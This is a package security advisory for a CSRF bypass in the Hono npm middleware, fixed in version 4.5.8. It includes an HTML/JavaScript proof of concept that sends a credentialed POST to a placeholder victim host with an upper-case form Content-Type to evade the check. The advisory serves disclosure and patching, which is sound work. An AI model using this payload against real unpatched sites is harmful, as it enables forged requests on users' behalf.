[NPM:GHSA-RPFR-3M35-5VX5] Hono CSRF middleware can be bypassed using crafted Content-Type header

Severity Moderate
Affected Packages 1
Fixed Packages 1
CVEs 1

Summary

Hono CSRF middleware can be bypassed using crafted Content-Type header.

Details

MIME types are case insensitive, but isRequestedByFormElementRe only matches lower-case.

https://github.com/honojs/hono/blob/b0af71fbcc6dbe44140ea76f16d68dfdb32a99a0/src/middleware/csrf/index.ts#L16-L17

As a result, attacker can bypass csrf middleware using upper-case form-like MIME type, such as "Application/x-www-form-urlencoded".

PoC

html
<html>
<head>
<title>CSRF Test</title>
<script defer>
document.addEventListener("DOMContentLoaded", () => {
document.getElementById("btn").addEventListener("click", async () => {
const res = await fetch("http://victim.example.com/test", {
method: "POST",
credentials: "include",
headers: {
"Content-Type": "Application/x-www-form-urlencoded",
},
});
});
});
</script>
</head>
<body>
<h1>CSRF Test</h1>
<button id="btn">Click me!</button>
</body>
</html>

Impact

Bypass csrf protection implemented with hono csrf middleware.

Discussion

I'm not sure that omitting csrf checks for Simple POST request is a good idea.
CSRF prevention and CORS are different concepts even though CORS can prevent CSRF in some cases.

Package Affected Version
pkg:npm/hono < 4.5.8
Package Fixed Version
pkg:npm/hono = 4.5.8
ID
NPM:GHSA-RPFR-3M35-5VX5
Severity
moderate
URL
https://github.com/advisories/GHSA-rpfr-3m35-5vx5
Published
2024-08-22T16:41:08
(3 weeks ago)
Modified
2024-08-22T16:41:09
(3 weeks ago)
Rights
NPM Security Team
Type Package URL Namespace Name / Product Version Distribution / Platform Arch Patch / Fix
Affected pkg:npm/hono hono < 4.5.8
Fixed pkg:npm/hono hono = 4.5.8
# CVE Description CVSS EPSS EPSS Trend (30 days) Affected Products Weaknesses Security Advisories Exploits PoC Pubblication Date Modification Date
# CVE Description CVSS EPSS EPSS Trend (30 days) Affected Products Weaknesses Security Advisories PoC Pubblication Date Modification Date
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